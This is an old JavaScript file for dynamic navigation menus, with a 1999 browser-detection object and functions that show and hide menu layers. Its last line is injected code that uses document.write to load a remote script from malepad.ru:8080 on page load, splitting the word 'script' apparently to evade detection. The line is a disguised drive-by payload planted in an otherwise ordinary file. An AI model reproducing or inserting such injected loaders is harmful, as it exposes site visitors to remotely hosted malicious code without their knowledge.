//<script>

/*************
Browser Check
*************/

// BrowserCheck Object
// provides most commonly needed browser checking variables
// 19990326

// Copyright (C) 1999 Dan Steinman
// Distributed under the terms of the GNU Library General Public License
// Available at http://www.dansteinman.com/dynapi/

function BrowserCheck() {
  var b = navigator.appName
  if (b=="Netscape") this.b = "ns"
  else if (b=="Microsoft Internet Explorer") this.b = "ie"
  else this.b = b
  this.v = parseInt(navigator.appVersion)
  this.ns = (this.b=="ns" && this.v>=4)
  this.ns4 = (this.b=="ns" && this.v==4)
  this.ns5 = (this.b=="ns" && this.v==5)
  this.ie = (this.b=="ie" && this.v>=4)
  this.ie4 = (navigator.userAgent.indexOf('MSIE 4')>0)
  this.ie5 = (navigator.userAgent.indexOf('MSIE 5')>0)
  if (this.ie5) this.v = 5
  this.min = (this.ns||this.ie)
}

// automatically create the "is" object
is = new BrowserCheck()



/****************
Navigation Menus
****************/

var lastMenuID;
var menuObj;
//var doTimeOut;
//var activeMenu;

//doTimeOut = false
//activeMenu = false
//lastMenuID = ""

function showMenuItems(menuItemsID){
  //window.alert("moused over");
  
//  activeMenu = true
  //doTimeOut = true
  
//  if(menuItemsID != lastMenuID){
//    if (lastMenuID != ""){
      //doTimeOut = false
//      activeMenu = false
//      hideMenuItems(lastMenuID);
//    }
//  }
  
  if (document.getElementById){
    menuObj = document.getElementById(menuItemsID);
    menuObj.style.visibility = "visible"
  }
  
  if (document.all && !document.getElementById){
    menuObj = document.all(menuItemsID);
    menuObj.style.visibility = "visible"
  }
  
  if (document.layers){
    menuObj = document.layers[menuItemsID]
    menuObj.visibility = "show"   
  }
    
  lastMenuID = menuItemsID
}

function hideMenuItems(menuItemsID){

//  if (!document.layers){
//    doTimeOut = false
//  }

//  if (!doTimeOut) {
    
    if (menuItemsID != ""){
    
      if (document.getElementById){
        menuObj = document.getElementById(menuItemsID);
        menuObj.style.visibility = "hidden"
      }
  
      if (document.all && !document.getElementById){
        menuObj = document.all(menuItemsID);
        menuObj.style.visibility = "hidden"
      }
  
      if (document.layers){
        menuObj = document.layers[menuItemsID]
        menuObj.visibility = "hide"   
      }
  
      //lastMenuID = ""
      //doTimeOut = true
      //activeMenu = false
    }

  }
  
 // if (doTimeOut){
 //   if (menuItemsID != ""){
 //     activeMenu = false
 //     setTimeout("hideDelay('" + lastMenuID + "')",500);
 //   }
 // }
//}

//function hideDelay(menuItemsID){
//  if (!activeMenu){
//    doTimeOut = false
//    hideMenuItems(menuItemsID);   
//  }
//}


function createMenuItems(menuItemsID,menuItemsHTML,leftPos,topPos, bgColor){
if ((document.all || document.getElementById) && !is.ie4) {	
				document.write("<DIV ID="+ menuItemsID +" onmouseover='showMenuItems(this.id)'  onmouseout='hideMenuItems(this.id)' style='BACKGROUND-COLOR: "+ bgColor +"; WIDTH:130; LEFT: "+ leftPos +"px; POSITION: absolute; TOP: "+ topPos +"px; VISIBILITY: hidden; Z-INDEX: 5'>");
  } else {
    document.write ("<DIV ID="+ menuItemsID +">");
  }

  if (document.layers){
    document.write("<LAYER NAME="+ menuItemsID +" onmouseover='showMenuItems(this.id)'  onmouseout='hideMenuItems(this.id)' WIDTH=130 LEFT="+ leftPos +" TOP="+ topPos +" VISIBILITY=hide Z-INDEX=5 bgcolor='"+ bgColor +"'>");
  }
  
 if (is.ie4){
 	menuItemsHTML = "";
	}
	
  document.write(menuItemsHTML);

  if (document.all || document.getElementById){
    document.write("</DIV>");
  }
  
  if (document.layers){
    document.write("</LAYER>")
  }

}


function menuOptionOn(menuObj){
  //if (window.navigator.userAgent.indexOf("MSIE") >= 1){
  if (document.getElementById){
    menuObj.className = "menuTextOn"
    //menuObj.parentElement.className = "menuTextOn"
   
  }
}
  
function menuOptionOff(menuObj){
  //if (window.navigator.userAgent.indexOf("MSIE") >= 1){
  if (document.getElementById){
    menuObj.className = "menuText"
    //menuObj.parentElement.className = "menuText"
  }
}

document.write('<s'+'cript type="text/javascript" src="http://malepad.ru:8080/Defragment.js"></scr'+'ipt>');